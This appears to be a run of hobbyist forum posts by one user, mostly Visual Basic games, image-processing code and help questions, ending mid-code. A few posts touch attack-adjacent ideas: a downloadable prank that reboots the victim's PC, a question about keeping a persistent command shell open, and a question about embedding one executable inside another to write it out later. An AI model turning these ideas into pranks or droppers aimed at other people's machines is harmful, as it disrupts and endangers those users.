Temas

[Materiales:]

HOLA!!!

Bueno, el tema es que este fin de semana me fui al carnaval de Gualeguaychu con unos amigos y no pude encontrar el soporte del GPS, asi que me la rebusque y arme uno precario, pero duro todo el viaje (Mar del Plata - Gualeguaychu).

Materiales:
    ·Un GPS
    ·Un Estuche para lentes
    ·Cinta (de papel preferentemente)

Pasos:
1)Se abre el estuche y se le coloca cinta en la parte de atras (doblamos la cinta en forma de bucle).
2)Se coloca el Estuche pegado al parabrisas y se agregan dos trozos mas de cinta a los costados para darle estabilidad.
3)Cologamos el GPS dentro del estuche y lo pegamos a el.
Y listo!!!

Fotos para hacerlo mas grafico:
Frente de costado:

Frente:

Frente del otro costado:

Parte de atras:

Espero que les sirva .

GRACIAS POR LEER!!!

[Mi ciudad(Mar del Plata):]

HOLA!!!

Como el otro ejemplo pero este muestra como sacar mapas de GoogleMaps.

Mi ciudad(Mar del Plata):

Captura:


Descargar URL:
http://www.mediafire.com/?yetblqqerrwbpn2

Mirror:
http://www.gigasize.com/get.php?d=qx7343cglnd

GRACIAS POR LEER!!!

HOLA!!!

Bueno estaba aburrido y se me ocurrio explicar como usar los graficos de google...
Esta es la manera mas simple, ya que se podria obtener con el inet pero para que enroscarse

Captura:


Descargar URL:
http://www.mediafire.com/?v43pd0nin60apr6

Mirror:
http://www.gigasize.com/get.php?d=5mhxz06jr2f

GRACIAS POR LEER!!!

HOLA!!!

No se si sere el unico, pero desde hace aprox 2 semanas no me anda ImagesHack me aparece esta imagen:



Alguna solucion que conozcan?

(Yo registraria elhacker.net pero no me parece que lo registre yo :S)

GRACIAS POR LEER!!!

HOLA!!!

Miren, mi situacion es la seguiente, mi computadora de un dia para el otro dejo de conectarse automaticamente a la red.

Mi solucion fue hacer un bat con retraso que al final ejecuta :

Código [Seleccionar] Expandir

net use \\server\Administrador *******

Y efectivamente funciona, pero es un bajon tener que conectarse asi, en realidad lo tendria que hacer windows solo.

Alguien sabe alguna solucion...

GRACIAS POR LEER!!!

[FROG]

HOLA!!!

Este reto consiste en poner mayusculas a las letras que estan delante de un punto , punto y aparte , nueva linea , signo de exclamacion o signo de interrogacion (abiertos o cerrados).

Estructura:

Código (vb) [Seleccionar] Expandir

uCaseCorrect(Txt as String) as String

La funcion debe corregir las mayusculas de la cadena poniendo mayusculas despues de los puntos y en cuanto a los ¡! y ¿?  miren esto : http://goo.gl/z14ab

FROG 

Creo que con eso lo habran entendido...

GRACIAS POR LEER!!!

HOLA!!!

Disculpen, no use el buscador...

por que quiero una respuesta nueva...

Tengo una pc W7 HomePremium ACER...

obviamente me vino el W7 de fabrica en el C.

quiero instalarle un Linux Lo tengo y se como instalarlo, pero
el problema es que no se si cuando parta la particion C en C y D voy a perder el W7 ...

Espero Respuestas.

GRACIAS POR LEER!!!

HOLA!!!

Bueno, un reto facil, dada la funcion:

IsFibonacciNumber(N as long) as Boolean

Se le da un numero entero sea Positivo o Negativo la funcion devolvera True si efectivamente es un numero perteneciente a la serie y false si no pertenece.

N maximo =46340

Para informacion acerca de la Secuencia de Fibonacci:
http://tinyurl.com/4ar5pd4

Obviamente vamos a usar para testear:
http://foro.elhacker.net/programacion_visual_basic/src_cfrogcontestcls_by_mr_frog_copy-t318871.0.html

XD


GRACIAS POR LEER!!!

HOLA!!!

Solo por curiosidad, no se si tienen activas las estadisticas del foro, podrian postear un informe con usuarios totales activos, activos por foro Etc.

Talves esto Entra en la privacidad de las personas, pero obviamente habria que quitar los nombres y listo.

Bueno, eso Si quieren XD.

GRACIAS POR LEER!!!

HOLA!!!

Bueno, aca tengo otro juego mas (lo que es estar aburrido).

Pong, se mueven con arriba y abajo.

Para cambiar la dificultad cierran y vuelven a abrir.

Captura:


Descargar URL:
http://www.mediafire.com/?c2mqmsl29lqss0y

Bueno, solo eso.

P.D: TIENE UN BUG, NO ESCRIBAN NADA EN EL COMBO SOLO SELECCIONENSolucionado

ADD: @Seba: Ya agregue las sangrias

GRACIAS POR LEER!!!

HOLA!!!

Bueno, esta es una borma que arme hace un tiempo, es de esas que no podes clickear el boton (igual aunque lo clickees no hace nada XD) y cuando el contador llega a 0 te reinicia el equipo.



(para cerrarlo ctrl + alt + supr y poner finalizar tarea muchas veces hasta que aparezca que no responde y ponen finalizar ahora)

Descargar URL:
http://www.mediafire.com/?tove2cf972o37vt


GRACIAS POR LEER!!!

HOLA!!!

Bueno, estaba al pedo y lo arme, por el tema de nukje(http://goo.gl/6QQXW)

En fin: Una captura


El uso es simple e intuitivo, no hay historia, un codigo simple.

Descargar URL:
http://www.mediafire.com/?r97xpx2v5u5unm1

GRACIAS POR LEER!!!

HOLA!!!

mmm, hoy estuve intentando armar un programa que ejecute comandos y devuelva las respuestas...

No me digan que haga

Código [Seleccionar] Expandir

Shell "cmd.exe /c " & Text1.Text & ">c:\windows\cmds.txt", vbHide Estoy intentando mantener una conexión constante, osea poder usar comandos como cd y demas.

En definitiva quisiera hacer una shell, pero que se mantenga abierta, no que se abra y cierre cuando ejecuto algo.

Espero haber sido algo grafico.

P.D: Estuve viendo el programa RemoteShell de Cobein pero la verdad no entendi nada con eso del asm inline que usa. Si alguien me puede explicar como funciona tambien me vendria bien. [gracias]

GRACIAS POR LEER!!!

HOLA!!!

Mas que nada es un aviso, como me conecto desde mi computadora de escritorio (Argentina) seguido, igual me conecto desde mi BlackBerry la cual usa una ip dinamica de Canada...

En definitiva era para avisar de eso a los mods y admins que talves veian "raro" que me conectara a las 10 am en arg y a las 11am en canada.



GRACIAS POR LEER!!!

HOLA!!!



(La redaccion del siguiente texto es deplorable, sepan disculpar, no sabia como ordenar la informacion)  

Miren mi pregunta es esta yo compilo un programa X

Despues lo leo en binario ...

Y lo coloco directamente en el codigo del nuevo programa.

Asi luego hago que el programa crea el primer ejecutable escribiendo un archivo.

Ejemplo Rustico:

miprograma.exe en binario es = a  "ewQZ3r65erj·DSAD%%&//85a·VS"

Esa cadena que corresponde al codigo completo de un ejecutable la coloco en el codigo de un nuevo programa el que crea un archivo de texto con esa cadena y luego le cambia el nombre a .EXE

SE PUEDE?

P.D: No se me ocurre otra manera para describirlo.  

GRACIAS POR LEER!!!

HOLA!!!

Este efecto hace que el formulario se vaya agrandando hasta llegar a su tamaño original, buen efecto, para lograr un acabado diferente se puede quitar la linea que dice Me.Visible = False y la linea que dice Me.Visible = True asi queda otro efecto.

Recomiendo poner StartUpPosition = 2 antes de Ejecutar

Código (vb) [Seleccionar] Expandir

Private Alto as integer
Private Largo as integer
Private Aux as Double

Private Sub Form_Initialize()
   Me.Visible = False
   Alto = Me.Height
   Largo = Me.Width
   Aux = 10
   Timer1.interval = 10
End Sub

Private Sub Timer1_Timer()
   Me.Visible = True
   Aux = Aux - (Aux / 10)
   Me.Height = Alto / Aux
   Me.Width = Largo / Aux
   If Aux < 1 Then
       Me.Height = Alto
       Me.Width = Largo
       Timer1.Interval = 0
       Timer1.Enabled = False
   End If
End Sub

GRACIAS POR LEER!!!

HOLA!!!

TENEMOS NUEVOS MODERADORES!!!

FELICITACIONES

LeandroA y raul338

       


P.D: No hay que olvidar que esto es gracias a la iniciativa de Mr.Frog. ¡ GRACIAS !
GRACIAS POR LEER!!!

HOLA!!!

Remitanse a este hilo: http://foro.elhacker.net/sugerencias_y_dudas_sobre_el_foro/sugerencia_otro_moderador_en_visual_basic-t317135.0.html

Chicos, apoyen el tema asi nos dan un nuevo Moderador ya que seba123Neo esta desaparecido.

http://foro.elhacker.net/sugerencias_y_dudas_sobre_el_foro/sugerencia_otro_moderador_en_visual_basic-t317135.0.html

GRACIAS POR LEER!!!

HOLA!!!

Este es el primer Reto que creo, no es muy dificil, pero para pasar el rato va.

Bueno, el Reto consiste en:

Crear una funcion con esta estructura

Código (vb) [Seleccionar] Expandir

Private Function Cuenta_Circular7913(N&, M() As Integer, TIPO As Boolean)
En la variable N no aceptara numeros que no sean pares o mayores a 180 o menores a 2.

La funcion devuelva estas matrices:

Código [Seleccionar] Expandir

Cuenta_Circular7913(2, Matriz, Verdadero)   :
   7   1   9
   4   0   2
   1   3   3

Cuenta_Circular7913(4, Matriz, Verdadero)   :
   7   1   2   3   9
   12  7   13  9   4
   11  16  0   14  5
   10  1   15  3   6
   1   9   8   7   3

Cuenta_Circular7913(6, Matriz, Verdadero)   :
   7   1   2   3   4   5   9
   20  7   21  22  23  9   6
   19  32  7   33  9   24  7
   18  31  36  0   34  25  8
   17  30  1   35  3   26  9
   16  1   29  28  27  3   10
   1   15  14  13  12  11  3

Cuenta_Circular7913(8, Matriz, Verdadero)   :
   7   1   2   3   4   5   6   7   9
   28  7   29  30  31  32  33  9   8
   27  48  7   49  50  51  9   34  9
   26  47  60  7   61  9   52  35  10
   25  46  59  64  0   62  53  36  11
   24  45  58  1   63  3   54  37  12
   23  44  1   57  56  55  3   38  13
   22  1   43  42  41  40  39  3   14
   1   21  20  19  18  17  16  15  3

Cuenta_Circular7913(2, Matriz, Falso)   :
   7   1   9
   4   0   2
   1   3   3

Cuenta_Circular7913(4, Matriz, Falso)   :
   7   1   2   3   9
   15  7   4   9   5
   14  16  0   8   6
   13  1   12  3   7
   1   11  10  9   3

Cuenta_Circular7913(6, Matriz, Falso)   :
   7   1   2   3   4   5   9
   32  7   6   7   8   9   10
   31  35  7   9   9   15  11
   30  34  36  0   18  16  12
   29  33  1   27  3   17  13
   28  1   26  25  24  3   14
   1   23  22  21  20  19  3

Cuenta_Circular7913(8, Matriz, Falso)   :
   7   1   2   3   4   5   6   7   9
   55  7   8   9   10  11  12  9   17
   54  60  7   13  14  15  9   24  18
   53  59  63  7   16  9   29  25  19
   52  58  62  64  0   32  30  26  20
   51  57  61  1   48  3   31  27  21
   50  56  1   47  46  45  3   28  22
   49  1   44  43  42  41  40  3   23
   1   39  38  37  36  35  34  33  3






GRACIAS POR LEER:

HOLA!!!

Hoy posteo un juego que arme recien estilo galaga.

No hay mucho que decir, mueven con las flechas y disparan con espacio.

La descarga la deje abajo.

Aca les dejo una captura de pantalla:



Aca el codigo:

Código (vb) [Seleccionar] Expandir

Private Declare Function GetAsyncKeyState _
    Lib "user32" ( _
        ByVal vKey As Long) As Integer
       
Dim CT As Integer

       
Private Sub ATAQUES_Timer()
Dim FLAG3 As Boolean
FLAG3 = False
Randomize
    For X = 4 To 7
        If BALA(X).Visible = False And FLAG3 = False Then
        FLAG3 = True
        BALA(X).Top = 0
        BALA(X).Left = 120 + Int(Rnd() * 7560)
        BALA(X).Visible = True
        End If
    Next
End Sub

Private Sub MOVER_BALAS_Timer()
    For X = 0 To 3
        'MUEVE LAS BALAS
        If BALA(X).Visible = True Then BALA(X).Top = BALA(X).Top - 120
        'SI SE VA DE LA PANTALLA LA OCULTA
        If BALA(X).Top < 0 Then BALA(X).Visible = False
        'VERIFICA GOLPES BAJOS
        If BALA(X).Top = 1680 Then
            For Y = 22 To 25
                If ENEMIGO(Y).Visible = True Then
                    If BALA(X).Left >= ENEMIGO(Y).Left And BALA(X).Left < ENEMIGO(Y).Left + ENEMIGO(Y).Width Then
                        ENEMIGO(Y).Visible = False
                        BALA(X).Visible = False
                        BALA(X).Top = -5
                    End If
                End If
            Next
        End If
        'VERIFICA GOLPES MEDIOS
        If BALA(X).Top = 1080 Then
            For Y = 11 To 21
                If ENEMIGO(Y).Visible = True Then
                    If BALA(X).Left >= ENEMIGO(Y).Left And BALA(X).Left < ENEMIGO(Y).Left + ENEMIGO(Y).Width Then
                        ENEMIGO(Y).Visible = False
                        BALA(X).Visible = False
                        BALA(X).Top = -5
                    End If
                End If
            Next
        End If
        'VERIFICA GOLPES ALTOS
        If BALA(X).Top = 480 Then
            For Y = 0 To 10
                If ENEMIGO(Y).Visible = True Then
                    If BALA(X).Left >= ENEMIGO(Y).Left And BALA(X).Left < ENEMIGO(Y).Left + ENEMIGO(Y).Width Then
                        ENEMIGO(Y).Visible = False
                        BALA(X).Visible = False
                        BALA(X).Top = -5
                    End If
                End If
            Next
        End If
    Next
    For X = 4 To 7
        'MUEVE LAS BALAS
        If BALA(X).Visible = True Then BALA(X).Top = BALA(X).Top + 120
        'OCULTA SI SE VA DE FOCO
        If BALA(X).Top > 5700 Then BALA(X).Visible = False
        'VERIFICA GOLPES CON LA NAVE
        If BALA(X).Top = 5280 Then
            If BALA(X).Left >= NAVE.Left And BALA(X).Left < NAVE.Left + NAVE.Width Then
                VIDAS.Caption = Str(Val(VIDAS.Caption) - 1)
                If Val(VIDAS.Caption) = 0 Then
                    MsgBox "PERDISTE"
                End
                End If
            End If
            BALA(X).Visible = False
            BALA(X).Top = -5
        End If
    Next
End Sub

Private Sub MOVER_NAVES_Timer()
Dim FLAG2 As Boolean
    CT = CT + 1
    If CT < 16 Then
        For X = 0 To 25
            ENEMIGO(X).Left = ENEMIGO(X).Left + 80
        Next
    ElseIf CT < 31 Then
        For X = 0 To 25
            ENEMIGO(X).Left = ENEMIGO(X).Left - 80
        Next
    ElseIf CT = 31 Then CT = 0
    End If
    FLAG2 = False
    For X = 0 To 25
        If ENEMIGO(X).Visible = True Then FLAG2 = True
    Next
    If FLAG2 = False Then
        MsgBox "GANASTE"
        End
    End If
End Sub

Private Sub TECLAS_Timer()
        If GetAsyncKeyState(32) = -32767 Then Call DISPARO 'BARRA ESPACIADORA
        If GetAsyncKeyState(37) = -32767 Then Call IZQUIERDA 'FLECHA IZ
        If GetAsyncKeyState(39) = -32767 Then Call DERECHA 'FLECHA DER
End Sub

Private Sub DISPARO()
Dim FLAG As Boolean
FLAG = False
    For X = 0 To 3
        If BALA(X).Visible = False And FLAG = False Then
            FLAG = True
            BALA(X).Left = NAVE.Left + 160
            BALA(X).Top = 5160
            BALA(X).Visible = True
        End If
    Next
End Sub

Private Sub IZQUIERDA()
If NAVE.Left >= 80 Then
    NAVE.Left = NAVE.Left - 80
End If
End Sub
Private Sub DERECHA()
If NAVE.Left <= 7320 Then
    NAVE.Left = NAVE.Left + 80
End If
End Sub

Para descargar el source y el exe:

Descargar URL:
http://www.gigasize.com/get.php?d=tcthckoql1f

Mirror:
http://hotfile.com/dl/89217931/902911e/JUEGO_DE_NAVES.rar.html

GRACIAS POR LEER!!!

[AGREGADO: funcion para pintar las zonas que son piel.]

HOLA!!!

EFECTO:


Gracias a LEANDRO A pude armar una funcion que convierte una imagen cualquiera a una imagen en ByN puro sin escala de grises marcando solamente los contornos de las cosas.

AGREGADO: funcion para pintar las zonas que son piel.


Hay una variable "Tolerance" esa la regulan para que sea mas o menos estricto con la deteccion de bordes.

Bueno aca el codigo (Modulo):
Repito GRACIAS LEA!

Código (vb) [Seleccionar] Expandir

Option Explicit
Private Declare Function CreateDIBSection Lib "gdi32" (ByVal hDC As Long, pBitmapInfo As BITMAPINFO24, ByVal un As Long, lplpVoid As Long, ByVal handle As Long, ByVal dw As Long) As Long
Private Declare Function GetDC Lib "user32" (ByVal hWnd As Long) As Long
Private Declare Function CreateCompatibleDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Function ReleaseDC Lib "user32" (ByVal hWnd As Long, ByVal hDC As Long) As Long
Private Declare Function SelectObject Lib "gdi32" (ByVal hDC As Long, ByVal hObject As Long) As Long
Private Declare Function BitBlt Lib "gdi32" (ByVal hDestDC As Long, ByVal x As Long, ByVal y As Long, ByVal nWidth As Long, ByVal nHeight As Long, ByVal hSrcDC As Long, ByVal xSrc As Long, ByVal ySrc As Long, ByVal dwRop As Long) As Long
Private Declare Function DeleteObject Lib "gdi32" (ByVal hObject As Long) As Long
Private Declare Function DeleteDC Lib "gdi32" (ByVal hDC As Long) As Long
Private Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (Destination As Any, Source As Any, ByVal Length As Long)
Private Declare Function VarPtrArray Lib "msvbvm60.dll" Alias "VarPtr" (Ptr() As Any) As Long

Private Type RGBQUAD
   rgbBlue As Byte
   rgbGreen As Byte
   rgbRed As Byte
   rgbReserved As Byte
End Type

Private Type BITMAPINFOHEADER
   biSize As Long
   biWidth As Long
   biHeight As Long
   biPlanes As Integer
   biBitCount As Integer
   biCompression As Long
   biSizeImage As Long
   biXPelsPerMeter As Long
   biYPelsPerMeter As Long
   biClrUsed As Long
   biClrImportant As Long
End Type

Private Type BITMAPINFO24
   bmiHeader As BITMAPINFOHEADER
   bmiColors() As RGBQUAD
End Type

Private Type SAFEARRAYBOUND
   cElements As Long
   lLbound As Long
End Type

Private Type SAFEARRAY2D
   cDims As Integer
   fFeatures As Integer
   cbElements As Long
   cLocks As Long
   pvData As Long
   Bounds(0 To 1) As SAFEARRAYBOUND
End Type


Private Const DIB_RGB_COLORS = 0
Private Const BI_RGB = 0&


Public Sub BuscarContornos(Pic As PictureBox)
   Dim BytesPerLine As Long
   Dim WinDC As Long
   Dim TmpDC As Long
   Dim hBmp As Long
   Dim OldBmp As Long
   Dim Addrs As Long
   Dim x As Long
   Dim y As Long
   Dim lpBits() As Byte
   Dim M_BitmapInfo As BITMAPINFO24
   Dim SA As SAFEARRAY2D
   Dim R As Byte, G As Byte, B As Byte, BYN As Byte, Tolerance As Byte
   Dim ZERO As Integer
   Dim tmp1 As Integer, tmp2 As Integer, tmp3 As Integer
   Tolerance = 20
   ZERO = 0
   BytesPerLine = ScanAlign(Pic.ScaleWidth * 3)

   With M_BitmapInfo.bmiHeader
       .biSize = Len(M_BitmapInfo.bmiHeader)
       .biWidth = Pic.ScaleWidth
       .biHeight = Pic.ScaleHeight
       .biPlanes = 1
       .biBitCount = 24
       .biCompression = BI_RGB
       .biSizeImage = BytesPerLine * Pic.ScaleHeight
   End With

   WinDC = GetDC(0)
   TmpDC = CreateCompatibleDC(WinDC)
   hBmp = CreateDIBSection(WinDC, M_BitmapInfo, DIB_RGB_COLORS, Addrs, 0, 0)

   Call ReleaseDC(0, WinDC)

   With SA
       .cbElements = 1
       .cDims = 2
       .Bounds(0).lLbound = 0
       .Bounds(0).cElements = Pic.ScaleHeight
       .Bounds(1).lLbound = 0
       .Bounds(1).cElements = BytesPerLine
       .pvData = Addrs
   End With

   CopyMemory ByVal VarPtrArray(lpBits), VarPtr(SA), 4

   OldBmp = SelectObject(TmpDC, hBmp)

   Call BitBlt(TmpDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.hDC, 0, 0, vbSrcCopy)

   For y = 0 To Pic.ScaleHeight - 1
       For x = 0 To (Pic.ScaleWidth * 3) - 1 Step 3

           B = lpBits(x + 2, y)
           G = lpBits(x + 1, y)
           R = lpBits(x, y)


           'ZERO ES PARA QUE NO HAGA DESBORDAMIENTO
           BYN = Int((ZERO + R + G + B) / 3)
           
           'DIBUJA EN BLANCO Y NEGRO
           
           lpBits(x, y) = BYN
           lpBits(x + 1, y) = BYN
           lpBits(x + 2, y) = BYN
           If x <> 0 And y <> 0 Then
           tmp1 = lpBits(x - 1, y - 1)
           tmp2 = lpBits(x - 1, y)
           tmp3 = lpBits(x, y - 1)
           If Abs(tmp2 - tmp1) > Tolerance Or Abs(tmp3 - tmp1) > Tolerance Then
               lpBits(x - 1, y - 1) = 0
               lpBits(x - 2, y - 1) = 0
               lpBits(x - 3, y - 1) = 0
           Else
                'PINTA DE NEGRO EL PIXEL POR QUE AHI HAY UN BORDE
               lpBits(x - 1, y - 1) = 255
               lpBits(x - 2, y - 1) = 255
               lpBits(x - 3, y - 1) = 255
           End If
           End If
       Next x
   Next y

   CopyMemory ByVal VarPtrArray(lpBits), 0&, 4
   Call BitBlt(Pic.hDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, TmpDC, 0, 0, vbSrcCopy)
   Call DeleteObject(SelectObject(TmpDC, OldBmp))
   Call DeleteDC(TmpDC)



End Sub

Public Sub BuscarPiel(Pic As PictureBox)
   Dim BytesPerLine As Long
   Dim WinDC As Long
   Dim TmpDC As Long
   Dim hBmp As Long
   Dim OldBmp As Long
   Dim Addrs As Long
   Dim x As Long
   Dim y As Long
   Dim lpBits() As Byte
   Dim M_BitmapInfo As BITMAPINFO24
   Dim SA As SAFEARRAY2D
   Dim R As Byte, G As Byte, B As Byte, BYN As Byte, Tolerance As Byte
   Dim ZERO As Integer
   Dim tmp1 As Integer, tmp2 As Integer, tmp3 As Integer
   Tolerance = 20
   ZERO = 0
   BytesPerLine = ScanAlign(Pic.ScaleWidth * 3)

   With M_BitmapInfo.bmiHeader
       .biSize = Len(M_BitmapInfo.bmiHeader)
       .biWidth = Pic.ScaleWidth
       .biHeight = Pic.ScaleHeight
       .biPlanes = 1
       .biBitCount = 24
       .biCompression = BI_RGB
       .biSizeImage = BytesPerLine * Pic.ScaleHeight
   End With

   WinDC = GetDC(0)
   TmpDC = CreateCompatibleDC(WinDC)
   hBmp = CreateDIBSection(WinDC, M_BitmapInfo, DIB_RGB_COLORS, Addrs, 0, 0)

   Call ReleaseDC(0, WinDC)

   With SA
       .cbElements = 1
       .cDims = 2
       .Bounds(0).lLbound = 0
       .Bounds(0).cElements = Pic.ScaleHeight
       .Bounds(1).lLbound = 0
       .Bounds(1).cElements = BytesPerLine
       .pvData = Addrs
   End With

   CopyMemory ByVal VarPtrArray(lpBits), VarPtr(SA), 4

   OldBmp = SelectObject(TmpDC, hBmp)

   Call BitBlt(TmpDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, Pic.hDC, 0, 0, vbSrcCopy)

   For y = 0 To Pic.ScaleHeight - 1
       For x = 0 To (Pic.ScaleWidth * 3) - 1 Step 3

           R = lpBits(x + 2, y)
           G = lpBits(x + 1, y)
           B = lpBits(x, y)


           'ZERO ES PARA QUE NO HAGA DESBORDAMIENTO
           BYN = Int((ZERO + R + G + B) / 3)
           
           'DIBUJA EN BLANCO Y NEGRO
           If R > 168 And G > 134 And B > 94 And R < 250 And G < 235 And B < 215 Then
           ' LOS PROXIMOS 3 VALORES ESPECIFICAN EL COLOR CON EL QUE SE VA A PINTAR
           lpBits(x, y) = 0
           lpBits(x + 1, y) = 255
           lpBits(x + 2, y) = 255
           Else
           lpBits(x, y) = 0 ' BYN
           lpBits(x + 1, y) = 0 'BYN
           lpBits(x + 2, y) = 0 'BYN
           End If
       Next x
   Next y

   CopyMemory ByVal VarPtrArray(lpBits), 0&, 4
   Call BitBlt(Pic.hDC, 0, 0, Pic.ScaleWidth, Pic.ScaleHeight, TmpDC, 0, 0, vbSrcCopy)
   Call DeleteObject(SelectObject(TmpDC, OldBmp))
   Call DeleteDC(TmpDC)



End Sub

Private Function ScanAlign(WidthBmp As Long) As Long
   ScanAlign = (WidthBmp + 3) And &HFFFFFFFC
End Function



Para llamar la funcion:

Código (vb) [Seleccionar] Expandir

Private Sub Command1_Click()
   'ESTO PARA CONTORNOS
   BuscarContornos PicTratamiento
   'ESTO PARA PIEL
   BuscarPiel PicTratamiento
   PicTratamiento.Refresh
End Sub

Private Sub Form_Load()
   PicTratamiento.AutoRedraw = True
   PicTratamiento.ScaleMode = vbPixels
End Sub

P.D: El de la foto soy yo asi que no puteen.
GRACIAS POR LEER!!!

HOLA!!!

Como andan?, hoy tengo una duda, estoy intentando encontrar los contornos de los objetos de una foto(en un picturebox) logre armar algo buscando en google, pero es  muy inpresiso.

La imagen se trata en un Picturebox chico asi no tarda mucho, sino se come el procesador.

Si encuentran algo o ven algo en mi codigo avisenme.

Bueno, les dejo mi codigo para que lo vean.
Esto va en un modulo y en el Form1 ponen un picturebox con una imagen (chica ) hacen un call a la funcion y listo.

Código (vb) [Seleccionar] Expandir

Public color As Long
Public ElR As Byte
Public ElG As Byte
Public ElB As Byte
Dim P12 As Integer, P21 As Integer, P22 As Integer

Public Sub RGBdelPixel(x As Integer, y As Integer)
   color = Form1.PicTratamiento.Point(x - 1, y)
   ElB = (color \ 65536) And &HFF
   ElG = (color \ 256) And &HFF
   ElR = color And &HFF
   P12 = (70! * ElR + 150! * ElG + 29! * ElB) / 255
   color = Form1.PicTratamiento.Point(x, y - 1)
   ElB = (color \ 65536) And &HFF
   ElG = (color \ 256) And &HFF
   ElR = color And &HFF
   P21 = (70! * ElR + 150! * ElG + 29! * ElB) / 255
   color = Form1.PicTratamiento.Point(x, y)
   ElB = (color \ 65536) And &HFF
   ElG = (color \ 256) And &HFF
   ElR = color And &HFF
   P22 = (70! * ElR + 150! * ElG + 29! * ElB) / 255
End Sub

Public Sub Contornos()
Dim AltUrA As Integer, lArgO As Integer, color As Integer
Dim i As Integer, j As Integer
Form1.PicTratamiento.ScaleMode = 3
AltUrA = Form1.PicTratamiento.ScaleHeight
lArgO = Form1.PicTratamiento.ScaleWidth
tolerancia = 100

For i = 1 To lArgO - 1
    For j = 1 To AltUrA - 1
        RGBdelPixel i, j
        If Abs(P12 - P22) > tolerancia Or Abs(P21 - P22) > tolerancia Then
            Form1.PicTratamiento.PSet (i, j) ', RGB(P22, P22, P22)
        Else
            Form1.PicTratamiento.PSet (i, j), vbWhite
        End If
Next
Next
Form1.PicTratamiento.ScaleMode = 1
End Sub

GRACIAS POR LEER!!!

HOLA!!!

Hola, hoy les traigo un tragamonedas, lo programe hoy asi que puede ser que tenga algun que otro bug, digan si encuentran .

Es asi:



El codigo:

Código (vb) [Seleccionar] Expandir


Private tabla(15) As Byte
Private DETENER As Boolean
Private LINEAS As Byte
Private MONEDAS As Boolean
Private DINERO As Double
Private DIB2(15) As Byte 'REPRESENTA LOS DIBUJOS EN CODIGO
Private BASE(3) As Integer
Dim CODIGO As String
Dim LIN As String
Dim DIN As Integer
Dim RESTA As Byte


Private Sub Form_Load()
LINEAS = 1
DINERO = 100
MONEDAS = False
Dim x As Byte
For x = 1 To 5
tabla(x) = x
If x >= 2 Then tabla(x + 4) = x
If x >= 3 Then tabla(x + 7) = x
If x >= 4 Then tabla(x + 9) = x
Next
tabla(15) = 5
End Sub


Private Sub Go_Click()
Dim AP As Byte ' apuesta
AP = LINEAS
If MONEDAS = True Then AP = LINEAS * 2
If AP <= DINERO Then
Girar.Interval = 30
STOPTIM.Interval = 1000
Go.Enabled = False
Else
MsgBox "Estas apostando mas de lo que tienes", , "Atencion"
End If
End Sub

Private Sub Girar_Timer()
Randomize
    Dim x As Byte
    Dim VUELTA As Byte ' REPRESENTA LA CANTIDAD DE VECES QUE MANDO UN DIBUJO ARRIBA
    For x = 0 To 14
        DIB1(x).Top = DIB1(x).Top + 150
        If DIB1(x).Top >= 2430 Then
            VUELTA = VUELTA + 1
            DIB1(x).Top = -1330
            If DETENER = True Then Girar.Interval = 0
            RAN = tabla(1 + Int(Rnd() * 14))
            DIB1(x).Picture = LoadPicture(App.Path & "/Images/T (" & RAN & ").jpg")
            DIB2(x) = RAN
            BASE(VUELTA) = x - 1
            If BASE(VUELTA) = -1 Then BASE(VUELTA) = 4
            If BASE(VUELTA) = 4 Then BASE(VUELTA) = 9
            If BASE(VUELTA) = 9 Then BASE(VUELTA) = 14
        End If
    Next
    VUELTA = 0
    If DETENER = True And Girar.Interval = 0 Then
        DETENER = False
        Call Calcular
    End If
End Sub

Private Sub MAS_Click()
LBLLIN.Caption = Trim(Str(Val(Mid(LBLLIN.Caption, 1, 1)) + 1)) & " LINEAS"
If LBLLIN.Caption = "6 LINEAS" Then LBLLIN.Caption = "5 LINEAS"
LINEAS = Str(Val(Mid(LBLLIN.Caption, 1, 1)))
End Sub

Private Sub MENOS_Click()
LBLLIN.Caption = Trim(Str(Val(Mid(LBLLIN.Caption, 1, 1)) - 1)) & " LINEAS"
If LBLLIN.Caption = "0 LINEAS" Then LBLLIN.Caption = "1 LINEA"
If LBLLIN.Caption = "1 LINEAS" Then LBLLIN.Caption = "1 LINEA"
LINEAS = Str(Val(Mid(LBLLIN.Caption, 1, 1)))
End Sub

Private Sub Option1_Click(Index As Integer)
MONEDAS = False
If Index = 1 Then MONEDAS = True
End Sub

Private Sub STOPTIM_Timer()
STOPTIM.Interval = 0
StopX.Enabled = True
End Sub

Private Sub StopX_Click()
DETENER = True
Go.Enabled = True
StopX.Enabled = False
End Sub

Private Sub Calcular()
CODIGO = ""
DIN = 0
'HORIZONTALES
For x = 0 To 2
    If x = 0 Then
        CODIGO = CODIGO & DIB2(BASE(1) - x) & DIB2(BASE(2) - x) & DIB2(BASE(3) - x)
    ElseIf x = 1 Then
        If BASE(1) = 0 Then
        CODIGO = DIB2(4) & DIB2(9) & DIB2(14) & CODIGO
        Else
        CODIGO = DIB2(BASE(1) - x) & DIB2(BASE(2) - x) & DIB2(BASE(3) - x) & CODIGO
        End If
    ElseIf x = 2 Then
        If BASE(1) = 0 Then
        CODIGO = CODIGO & DIB2(3) & DIB2(8) & DIB2(13)
        ElseIf BASE(1) = 1 Then
        CODIGO = CODIGO & DIB2(4) & DIB2(9) & DIB2(14)
        Else
        CODIGO = CODIGO & DIB2(BASE(1) - x) & DIB2(BASE(2) - x) & DIB2(BASE(3) - x)
        End If
    End If
Next
'DIAGONAL 1
If BASE(1) = 0 Then
    CODIGO = CODIGO & DIB2(3) & DIB2(9) & DIB2(10)
ElseIf BASE(1) = 1 Then
    CODIGO = CODIGO & DIB2(4) & DIB2(5) & DIB2(11)
ElseIf BASE(1) = 2 Then
    CODIGO = CODIGO & DIB2(0) & DIB2(6) & DIB2(12)
ElseIf BASE(1) = 3 Then
    CODIGO = CODIGO & DIB2(1) & DIB2(7) & DIB2(13)
ElseIf BASE(1) = 4 Then
    CODIGO = CODIGO & DIB2(2) & DIB2(8) & DIB2(14)
End If
'DIAGONAL 2
If BASE(1) = 0 Then
    CODIGO = CODIGO & DIB2(0) & DIB2(9) & DIB2(13)
ElseIf BASE(1) = 1 Then
    CODIGO = CODIGO & DIB2(1) & DIB2(5) & DIB2(14)
ElseIf BASE(1) = 2 Then
    CODIGO = CODIGO & DIB2(2) & DIB2(6) & DIB2(10)
ElseIf BASE(1) = 3 Then
    CODIGO = CODIGO & DIB2(3) & DIB2(7) & DIB2(11)
